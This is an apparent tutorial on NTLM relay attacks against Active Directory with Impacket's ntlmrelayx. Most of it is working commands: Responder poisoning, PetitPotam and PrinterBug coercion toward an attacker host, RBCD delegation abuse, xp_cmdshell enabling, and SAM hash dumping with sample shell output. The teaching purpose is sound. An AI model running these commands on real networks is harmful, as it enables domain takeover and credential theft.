ntlmrelayx
NTLM relay attack tool from Impacket. Captures NTLM authentication from one host and relays it to another for code execution, credential dumping, or RBCD setup. One of the most powerful network-based AD attacks.
What is it?
ntlmrelayx performs NTLM relay attacks. The concept: when a Windows machine authenticates to your attack machine (via NTLM), instead of just capturing the hash, you relay that authentication to a different target in real time. The target thinks the victim is authenticating directly to it.
The attack flow:
- Victim authenticates to your machine (tricked via Responder, PetitPotam, PrinterBug, etc.)
- ntlmrelayx catches the NTLM authentication messages
- ntlmrelayx forwards those messages to a target (different host)
- Target accepts the authentication and you get access as the victim
This is not hash cracking, you don't need to know the password. You're reusing the authentication in flight. If the victim is a Domain Admin, you get DA access on the target.
NTLM relay to SMB only works if the target has SMB signing disabled or not required. Domain Controllers always require SMB signing. Workstations and member servers often don't. Check with: nmap --script smb-security-mode -p 445 10.10.10.0/24. The Nmap output line message_signing: disabled or not required means relay will work.
Run this first
Relaying only works against hosts with SMB signing off. Find them before you start.
$ nmap --script smb2-security-mode -p 445 10.10.10.0/24 -oN smb_signing.txt
smb2-security-modereports whether each host requires SMB signing. Only hosts with it off can be relayed to.
Put the hosts without signing into a target file, then run ntlmrelayx.py -tf targets.txt -smb2support alongside Responder with SMB and HTTP disabled in its config, so the two tools do not fight over the same ports.
Prerequisites
Step 1: Check SMB signing across the network
# Scan the network for hosts with SMB signing not required $ nmap --script smb2-security-mode -p 445 10.10.10.0/24 -oN smb_signing.txt # Or use CrackMapExec for a cleaner view $ crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt # relay_targets.txt now contains IPs where relay will work
Step 2: Disable SMB and HTTP in Responder
# Edit Responder.conf: turn OFF SMB and HTTP servers # ntlmrelayx needs to listen on those ports instead $ sudo vim /usr/share/responder/Responder.conf [Responder Core] ; Servers to start SQL = On SMB = Off <-- OFF so ntlmrelayx can use port 445 RDP = On Kerberos = On FTP = On POP = On SMTP = On IMAP = On HTTP = Off <-- OFF so ntlmrelayx can use port 80 HTTPS = On DNS = On LDAP = On DCERPC = On
Relay to SMB (code execution)
The classic attack: relay to a host where SMB signing is off and the relayed user has local admin. You get a SYSTEM shell or can dump SAM hashes.
# Terminal 1: Start ntlmrelayx targeting hosts from the relay list $ sudo ntlmrelayx.py -tf relay_targets.txt -smb2support # Terminal 2: Start Responder to poison LLMNR/NBT-NS $ sudo responder -I eth0 # Wait... when a machine queries for a name that doesn't resolve: # 1. Responder poisons the response → victim connects to us # 2. ntlmrelayx relays the auth to a target from relay_targets.txt # 3. If the victim has local admin on the target → SAM dump or shell
[*] SMBD-Thread-4: Received connection from 10.10.10.50 [*] Authenticating against smb://10.10.10.30 as CORP\jsmith SUCCEED <-- relay worked! [*] Dumping SAM hashes for host 10.10.10.30 Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] SMBD-Thread-4: Received connection from 10.10.10.55 [*] Authenticating against smb://10.10.10.30 as CORP\svc_backup SUCCEED [*] Target 10.10.10.30 is now pwned - launching interactive shell C:\Windows\system32> <-- SYSTEM shell!
By default ntlmrelayx dumps SAM hashes. Use -i for an interactive SMB shell, or -c "command" to execute a specific command. Use -e payload.exe to upload and execute a binary.
Relay to LDAP (delegation attacks)
When you can relay to LDAP on a Domain Controller (usually via a coerced machine account), you can set RBCD to compromise the machine that authenticated to you. This is the modern PetitPotam/PrinterBug attack chain.
# Set up ntlmrelayx to relay to LDAP and create RBCD delegation $ sudo ntlmrelayx.py -t ldap://10.10.10.10 --delegate-access -smb2support # In another terminal, coerce authentication from a target machine # Using PetitPotam (no creds needed on vulnerable DCs) $ python3 PetitPotam.py ATTACKER_IP TARGET_DC_IP # Or PrinterBug / SpoolSample (requires valid creds) $ python3 printerbug.py corp.local/jsmith:Pass123!@TARGET_IP ATTACKER_IP
[*] HTTPD(80): Connection from 10.10.10.10, received HTTP-NTLMv2 hash [*] Authenticating against ldap://10.10.10.10 as CORP\DC01$ SUCCEED [*] Enumerating relayed user's privileges: Create User, Adding to group [*] Adding new machine account NJQXISRL$ with password ... <-- created machine acct [*] Delegation rights modified successfully! [*] NJQXISRL$ can now impersonate users on DC01$ via S4U2Proxy <-- RBCD configured! [*] Accounts allowed to act on behalf of other identity: [*] NJQXISRL$ (S-1-5-21-...)
# Use the created machine account to get a service ticket as DA $ getST.py -spn cifs/DC01.corp.local -impersonate administrator \ corp.local/NJQXISRL$:'password_from_ntlmrelayx_output' # Use the ticket $ export KRB5CCNAME=administrator.ccache $ secretsdump.py -k -no-pass corp.local/administrator@DC01.corp.local
PetitPotam + ntlmrelayx + RBCD = Domain Admin from zero credentials on a vulnerable DC. Even when PetitPotam is patched, other coercion methods (PrinterBug, DFSCoerce) may still work. Always try coercion + relay when you see LDAP on a DC.
Relay to MSSQL
# Relay to MSSQL for query execution $ sudo ntlmrelayx.py -t mssql://10.10.10.20 -smb2support -q 'SELECT system_user;' # Relay to MSSQL and enable xp_cmdshell for OS command execution $ sudo ntlmrelayx.py -t mssql://10.10.10.20 -smb2support \ -q 'EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;'
Authentication coercion methods
ntlmrelayx needs someone to authenticate to you. Here's how to make that happen:
| Method | Requires creds? | Target | Protocol used |
|---|---|---|---|
| Responder (LLMNR/NBT-NS) | No | Any host making name queries | SMB/HTTP |
| PetitPotam | No (unpatched) / Yes (patched) | Domain Controllers | EFSRPC → HTTP |
| PrinterBug / SpoolSample | Yes (any domain user) | Any host with Print Spooler running | MS-RPRN → SMB |
| DFSCoerce | No / Yes | Hosts with DFS | MS-DFSNM → SMB |
| SCF/URL file on writable share | Yes (write access) | Users browsing the share | SMB |
Common mistakes
- Not disabling SMB/HTTP in Responder: Both Responder and ntlmrelayx try to listen on the same ports. Disable them in Responder.conf
- Relaying to a host with SMB signing required: Always check signing first. DCs always require it. Generate a relay target list with CrackMapExec
- Relaying to the same host: You can't relay auth back to the source. The victim authenticates from host A → you relay to host B (different from A)
- Forgetting
-smb2support: Modern Windows uses SMB2/3. Without this flag, relay attempts will fail against most targets - Not understanding LDAP relay requirements: LDAP relay from SMB only works if LDAP signing is not required AND channel binding is not enforced. Machine account coercion over HTTP (PetitPotam) bypasses SMB-level protections
- Giving up after PetitPotam is patched: There are many coercion techniques. If one doesn't work, try PrinterBug, DFSCoerce, or dropping an SCF file on a writable share
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
Why scan for SMB signing before setting up a relay?
ntlmrelayx and Responder both fail to serve SMB when run together. Why, and what is the fix?
Responder.conf so ntlmrelayx can use those ports while Responder still captures the initial authentication.